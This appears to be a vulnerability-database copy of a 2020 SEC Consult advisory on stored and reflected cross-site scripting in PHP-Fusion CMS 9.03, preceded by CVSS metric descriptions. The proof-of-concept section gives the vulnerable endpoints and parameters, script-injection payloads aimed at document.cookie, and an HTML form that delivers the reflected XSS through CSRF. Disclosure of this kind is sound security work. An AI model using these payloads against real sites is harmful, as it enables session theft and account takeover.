The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: PHP-Fusion CMS 9.03 Cross Site Scripting
SEC Consult Vulnerability Lab Security Advisory < 20200225-0 >
=======================================================================
title: Multiple Cross-site Scripting (XSS) Vulnerabilities
product: PHP-Fusion CMS
vulnerable version: 9 - 9.03
fixed version: 9.03.30
CVE number: -
impact: Medium
homepage: https://www.php-fusion.co.uk
found: 2019-12-09
by: M. Ali (Office Malaysia)
N. Ramadhan (Office Malaysia)
W. Ikram (Office Malaysia)
R. Jaafar (Office Malaysia)
S. Maskan (Office Malaysia)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"PHP-Fusion is a lightweight open source content management system (CMS) written
in PHP."
Source: https://github.com/php-fusion
Business recommendation:
------------------------
Update to the latest version of PHP-Fusion. An in-depth security
analysis performed by security professionals is highly advised, as the
software may be affected from further security issues.
Vulnerability overview/description:
-----------------------------------
1. Stored XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker (user with edit post
capability) to inject malicious client side scripting code which will be
executed in the browser of a user with "Error Log" access privilege (usually
administrator or super administrator).
2. Reflected XSS vulnerability
This vulnerability within PHP-Fusion allows an attacker to inject malicious
client side scripting code which will be executed in the browser of users.
Proof of concept:
-----------------
1. Stored XSS vulnerability
a) Edit Blog Post Function
This vulnerability can be exploited by an attacker with "edit post" capability.
By editing a blog post, malicious script code can be injected through the
affected parameters (defined below). When saving the changes made, the
application will store the XSS payload in the database as an error (table
<dbtableprefix>_errors). Then, the application will load all the errors to
notify the administrator in the "Error Log" notification module. The XSS payload
will get executed on any page since it was the application behavior loading all
the errors on any page as long as the affected user's session is active.
Below is the example on how the XSS issue can be exploited.
URL : http://$DOMAIN/<PHP-Fusion Directory>/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit§ion=blog_form&blog_id=<id#>
METHOD : POST
PAYLOAD: '><script>alert(document.cookie)</script>
PARAMETER: blog_image, blog_image_t1, blog_image_t2
Content-Type: multipart/form-data; boundary=---------------------------247592002319215
Content-Length: 3051
Origin: http://$DOMAIN
Connection: close
Referer: http://$DOMAIN/fusion/infusions/blog/blog_admin.php?aid=<aid>&action=edit§ion=blog_form&blog_id=2
Cookie: [snip]
[snip]
-----------------------------247592002319215
Content-Disposition: form-data; name="blog_image"
pp.jpg'><script>alert(document.cookie)</script>
[snip]
2. Reflected XSS vulnerability
a) Preview Function
This vulnerability can be exploited by an unauthenticated attacker.
The XSS payload is injected in the preview.ajax.php script through the parameter "text".
Below is the example on how the XSS issue can be exploited through CSRF.
URL : http://$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php
METHOD : POST
PAYLOAD: <script>alert(document.cookie)</script>
Create a HTML file with content as below and open it with browser.
<html>
<body>
<form action="$DOMAIN/<PHP-Fusion Directory>/includes/dynamics/assets/preview/preview.ajax.php" method="POST">
<input type="hidden" name="text" value="xyz<script>alert(document.cookie)</script>zzz" />
<input type="hidden" name="editor" value="html" />
<input type="hidden" name="url" value="/infusion/xxyyzz.php" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Vulnerable / tested versions:
-----------------------------
PHP-Fusion version 9.03.00 has been tested, which was the latest version
available at the time of the test.
Vendor contact timeline:
------------------------
2019-12-10: Contacting vendor by email
[email protected], [email protected][email protected], [email protected]
2019-12-11: Vendor lead developer contact SEC Consult via Whatsapp and ask to
send the detail unencrypted to his email [email protected]
Email sent to the lead developer on the same day.
2020-01-23: Vendor fixed the reported issues, but it can be bypassed. SEC Consult
informed the Lead Developer via Whatsapp. The lead developer
requests extension (3 weeks). Latest possible release date
changed to 24th Feb 2020.
2020-02-01: Vendor fixed issue no. 2 (Reflected XSS). Issue no. 1 (Stored
XSS) remains unfixed.
2020-02-04: Vendor informed fixed version available on github page.
2020-02-11: Vendor requested two weeks to inform their users to update their
websites. Latest possible release date changed to 25th Feb 2020.
2020-02-11: Requesting CVE ID, only automatic reply with request ID
2020-02-21: Asking for CVE ID again, no reply
2020-02-25: Public release of security advisory
Solution:
---------
The fixed version 9.03.30 is available at the vendor's download section:
* https://www.php-fusion.co.uk/php_fusion_9_downloads.php
Workaround:
-----------
None
Advisory URL:
-------------
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF M. Ali, W. Ikram, S. Maskan, N. Ramadhan, R. Jaafar / @2020
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum